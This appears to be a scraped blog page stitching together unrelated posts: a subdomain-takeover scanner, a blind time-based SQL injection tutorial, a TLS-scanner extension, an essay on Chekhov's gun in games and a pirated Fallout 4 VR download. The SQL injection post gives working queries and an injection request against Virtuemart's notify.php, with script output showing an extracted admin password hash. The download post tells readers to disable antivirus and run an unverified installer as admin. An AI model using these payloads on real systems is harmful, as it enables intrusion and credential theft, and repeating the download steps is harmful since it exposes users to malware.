Monday, April 13, 2020

Takeover - SubDomain TakeOver Vulnerability Scanner


Sub-domain takeover vulnerability occur when a sub-domain (subdomain.example.com) is pointing to a service (e.g: GitHub, AWS/S3,..) that has been removed or deleted. This allows an attacker to set up a page on the service that was being used and point their page to that sub-domain. For example, if subdomain.example.com was pointing to a GitHub page and the user decided to delete their GitHub page, an attacker can now create a GitHub page, add a CNAME file containing subdomain.example.com, and claim subdomain.example.com. For more information: here



Installation:
# git clone https://github.com/m4ll0k/takeover.git
# cd takeover
# python takeover.py
or:
wget -q https://raw.githubusercontent.com/m4ll0k/takeover/master/takeover.py && python takeover.py


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Bit Banging Your Database

This post will be about stealing data from a database one bit at a time. Most of the time pulling data from a database a bit at a time would not be ideal or desirable, but in certain cases it will work just fine. For instance when dealing with a blind time based sql injection. To bring anyone who is not aware of what a "blind time based" sql injection is up to speed - this is a condition where it is possible to inject into a sql statement that is executed by the database, but the application gives no indication about the result of the query. This is normally exploited by injecting boolean statements into a query and making the database pause for a determined about of time before returning a response. Think of it as playing a game "guess who" with the database.

Now that we have the basic idea out of the way we can move onto how this is normally done and then onto the target of this post. Normally a sensitive item in the database is targeted, such as a username and password. Once we know where this item lives in the database we would first determine the length of the item, so for example an administrator's username. All examples below are being executed on an mysql database hosting a Joomla install. Since the example database is a Joomla web application database, we would want to execute a query like the following on the database:
select length(username) from jos_users where usertype = 'Super Administrator';
Because we can't return the value back directly we have to make a query like the following iteratively:

select if(length(username)=1,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
select if(length(username)=2,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
We would keep incrementing the number we compare the length of the username to until the database paused (benchmark function hit). In this case it would be 5 requests until our statement was true and the benchmark was hit. 

Examples showing time difference:
 mysql> select if(length(username)=1,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
1 row in set (0.00 sec)
mysql> select if(length(username)=5,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
1 row in set (0.85 sec)
Now in the instance of the password, the field is 65 characters long, so it would require 65 requests to discover the length of the password using this same technique. This is where we get to the topic of the post, we can actually determine the length of any field in only 8 requests (up to 255). By querying the value bit by bit we can determine if a bit is set or not by using a boolean statement again. We will use the following to test each bit of our value: 

Start with checking the most significant bit and continue to the least significant bit, value is '65':
value & 128 
01000001
10000000
-----------
00000000 

value & 64
01000001
01000000
-----------
01000000
value & 32
01000001
00100000
-----------
00000000
value & 16
01000001
00010000
--------
00000000
value & 8
01000001
00001000
--------
00000000

value & 4
01000001
00000100
-----------
00000000
value & 2
01000001
00000010
-----------
00000000
value & 1
01000001
00000001
-----------
00000001
The items that have been highlighted in red identify where we would have a bit set (1), this is also the what we will use to satisfy our boolean statement to identify a 'true' statement. The following example shows the previous example being executed on the database, we identify set bits by running a benchmark to make the database pause:

mysql> select if(length(password) & 128,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)
mysql> select if(length(password) & 64,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (7.91 sec)

mysql> select if(length(password) & 32,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 16,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 8,benchmark(50000000,md5('cc')),0)  from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 4,benchmark(50000000,md5('cc')),0)  from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 2,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 1,benchmark(50000000,md5('cc')),0)  from jos_users;
1 row in set (8.74 sec)
As you can see, whenever we satisfy the boolean statement we get a delay in our response, we can mark that bit as being set (1) and all others as being unset (0). This gives us 01000001 or 65. Now that we have figured out how long our target value is we can move onto extracting its value from the database. Normally this is done using a substring function to move through the value character by character. At each offset we would test its value against a list of characters until our boolean statement was satisfied, indicating we have found the correct character. Example of this:

select if(substring(password,1,1)='a',benchmark(50000000,md5('cc')),0) as query from jos_users;
This works but depending on how your character set that you are searching with is setup can effect how many requests it will take to find a character, especially when considering case sensitive values. Consider the following password hash:
da798ac6e482b14021625d3fad853337skxuqNW1GkeWWldHw6j1bFDHR4Av5SfL
If you searched for this string a character at a time using the following character scheme [0-9A-Za-z] it would take about 1400 requests. If we apply our previous method of extracting a bit at a time we will only make 520 requests (65*8). The following example shows the extraction of the first character in this password:

mysql> select if(ord(substring(password,1,1)) & 128,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
mysql> select if(ord(substring(password,1,1)) & 64,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (7.91 sec)
mysql> select if(ord(substring(password,1,1)) & 32,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (7.93 sec)
mysql> select if(ord(substring(password,1,1)) & 16,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
mysql> select if(ord(substring(password,1,1)) & 8,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
mysql> select if(ord(substring(password,1,1)) & 4,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (7.91 sec)
mysql> select if(ord(substring(password,1,1)) & 2,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
mysql> select if(ord(substring(password,1,1)) & 1,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
Again I have highlighted the requests where the bit was set in red. According to these queries the value is 01100100 (100) which is equal to 'd'. The offset of the substring would be incremented and the next character would be found until we reached the length of the value that we found earlier.

Now that the brief lesson is over we can move on to actually exploiting something using this technique. Our target is Virtuemart. Virtuemart is a free shopping cart module for the Joomla platform. Awhile back I had found an unauthenticated sql injection vulnerability in version 1.1.7a. This issue was fixed promptly by the vendor (...I was amazed) in version 1.1.8. The offending code was located in "$JOOMLA/administrator/components/com_virtuemart/notify.php" :


          if($order_id === "" || $order_id === null)
          {
                        $vmLogger->debug("Could not find order ID via invoice");
                        $vmLogger->debug("Trying to get via TransactionID: ".$txn_id);
                       
$qv = "SELECT * FROM `#__{vm}_order_payment` WHERE `order_payment_trans_id` = '".$txn_id."'";
                        $db->query($qv);
                        print($qv);
                        if( !$db->next_record()) {
                                $vmLogger->err("Error: No Records Found.");
                        }
The $txn_id variable is set by a post variable of the same name. The following example will cause the web server to delay before returning:


POST /administrator/components/com_virtuemart/notify.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
invoice=1&txn_id=1' or benchmark(50000000,md5('cc'));#  
Now that an insertion point has been identified we can automate the extraction of the "Super Administrator" account from the system:
python vm_own.py "http://192.168.18.131/administrator/components/com_virtuemart/notify.php"
[*] Getting string length
[+] username length is:5
[+] username:admin
[*] Getting string length
[+] password length is:65
[+] password:da798ac6e482b14021625d3fad853337:skxuqNW1GkeWWldHw6j1bFDHR4Av5SfL
The "vm_own.py" script can be downloaded here.


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Scanning TLS Server Configurations With Burp Suite

In this post, we present our new Burp Suite extension "TLS-Attacker".
Using this extension penetration testers and security researchers can assess the security of TLS server configurations directly from within Burp Suite.
The extension is based on the TLS-Attacker framework and the TLS-Scanner, both of which are developed by the Chair for Network and Data Security.

You can find the latest release of our extension at: https://github.com/RUB-NDS/TLS-Attacker-BurpExtension/releases

TLS-Scanner

Thanks to the seamless integration of the TLS-Scanner into the BurpSuite, the penetration tester only needs to configure a single parameter: the host to be scanned.  After clicking the Scan button, the extension runs the default checks and responds with a report that allows penetration testers to quickly determine potential issues in the server's TLS configuration.  Basic tests check the supported cipher suites and protocol versions.  In addition, several known attacks on TLS are automatically evaluated, including Bleichenbacher's attack, Padding Oracles, and Invalid Curve attacks.

Furthermore, the extension allows fine-tuning for the configuration of the underlying TLS-Scanner.  The two parameters parallelProbes and overallThreads can be used to improve the scan performance (at the cost of increased network load and resource usage).

It is also possible to configure the granularity of the scan using Scan Detail and Danger Level. The level of detail contained in the returned scan report can also be controlled using the Report Detail setting.

Please refer to the GitHub repositories linked above for further details on configuration and usage of TLS-Scanner.

Scan History 

If several hosts are scanned, the Scan History tab keeps track of the preformed scans and is a useful tool when comparing the results of subsequent scans.

Additional functions will follow in later versions

Currently, we are working on integrating an at-a-glance rating mechanism to allow for easily estimating the security of a scanned host's TLS configuration.

This is a combined work of Nurullah Erinola, Nils Engelbertz, David Herring, Juraj Somorovsky, Vladislav Mladenov, and Robert Merget.  The research was supported by the European Commission through the FutureTrust project (grant 700542-Future-Trust-H2020-DS-2015-1).

If you would like to learn more about TLS, Juraj and Robert will give a TLS Training at Ruhrsec on the 27th of May 2019. There are still a few seats left.

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Sunday, April 12, 2020

Re:Traffic is money! Want huge traffic to your site?

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Saturday, April 11, 2020

The Concept Of Tchekhov's Gun In Games

It is always interesting to create a cris-cross between literature and games. In fact, both worlds are intrinsically connected, and this is especially evident in games with narrative, characters, plot twists etc. I like to think about games as "ergodic literature" — an idea previously discussed in this post.

Here, in this short article, I would like to address the concept of Tchekhov's gun applied to games. Anton Tchekhov (1860–1904) was one of the most important voices in Russian literature. He developed the principle that states that every element in a story must be necessary, and irrelevant elements should be removed. Tchekov said that, if you say in the first act that there is a rifle hanging on the wall, in the second or the third act it must be fired. If the rifle isn't going to be used, it shouldn't be hanging there. The Russian author also said that one must never place a loaded rifle on the stage if it's not going to be fired. It's wrong to make promises you don't mean to keep.



What does this principle mean inside the gaming universe? As Tchekhov has postulated for literature, in games we also need to create a sense of order and to make sure every single element is relevant. If the scenery displays a highlighted symbol, it should have some function in that stage, like serving as a hint for a puzzle or as an object that the player must collect in order to defeat an enemy.

To further illustrate this, we can discuss a puzzle from the game Little Nightmares. In the scenery, there is a TV that can be turned on and a door that cannot be opened. But, previously, the player received a piece of information: in the other room there's a bizarre blind create that is attracted to sound. So, you must turn on the TV, get close to the door, and wait until the monster opens it, so that you can walk into the next room. Check the video below:



In this example, imagine if the TV was just a decoration, something useless in the puzzle flux. It would make no sense in the game and it would be contrary to the concept of Tchekhov's gun.

This is the point I wanted to make with this short article: everything must be interconnected and play a role in your game.

I'll talk more about the overlapping universes of literature and games in the next posts.

#GoGamers

Wednesday, April 8, 2020

Fallout 4 VR Free Download

Fallout 4, the legendary post-apocalyptic adventure from Bethesda Game Studios and winner of more than 200 'Best Of' awards, including the DICE and BAFTA Game of the Year, finally comes in its entirety to VR. Fallout 4 VR includes the complete core game with all-new combat, crafting, and building systems fully reimagined for virtual reality. The freedom of exploring the wasteland comes alive like never before.

As the sole survivor of Vault 111, you enter a world destroyed by nuclear war. Every second is a fight for survival, and every choice is yours. Only you can rebuild and determine the fate of the Wasteland. Welcome home.
GAMEPLAY AND SCREENSHOTS :

DOWNLOAD GAME:

♢ Click or choose only one button below to download this game.
♢ View detailed instructions for downloading and installing the game here.
♢ Use 7-Zip to extract RAR, ZIP and ISO files. Install PowerISO to mount ISO files.


Fallout 4 VR Free Download
http://pasted.co/af29b5ae

INSTRUCTIONS FOR THIS GAME
➤ Download the game by clicking on the button link provided above.
➤ Download the game on the host site and turn off your Antivirus or Windows Defender to avoid errors.
➤ Once the download has been finished or completed, locate or go to that file.
➤ To open .iso file, use PowerISO and run the setup as admin then install the game on your PC.
➤ Once the installation process is complete, run the game's exe as admin and you can now play the game.
➤ Congratulations! You can now play this game for free on your PC.
➤ Note: If you like this video game, please buy it and support the developers of this game.

SYSTEM REQUIREMENTS:
(Your PC must at least have the equivalent or higher specs in order to run this game.)


Minimum:
• OS: Windows 7/8.1/10 (64-bit versions)
• Processor: CPU: Intel Core i5-4590 or AMD FX 8350 or better
• Memory: 8 GB RAM
• Graphics: Nvidia GeForce GTX 1070 / AMD RX Vega 56 or better
• Storage: 30 GB available space

Recommended:
• OS: Windows 7/8.1/10 (64-bit versions)
• Processor: CPU: Intel Core i7-6700K or AMD Ryzen 5 1600X
• Memory: 16 GB RAM
• Graphics: Nvidia GeForce GTX 1080 / AMD RX Vega 64
• Storage: 30 GB available space
Supported Language: English, Italian, Spanish, Polish, Russian, Portuguese-Brazil, Simplified Chinese language are available.
If you have any questions or encountered broken links, please do not hesitate to comment below. :D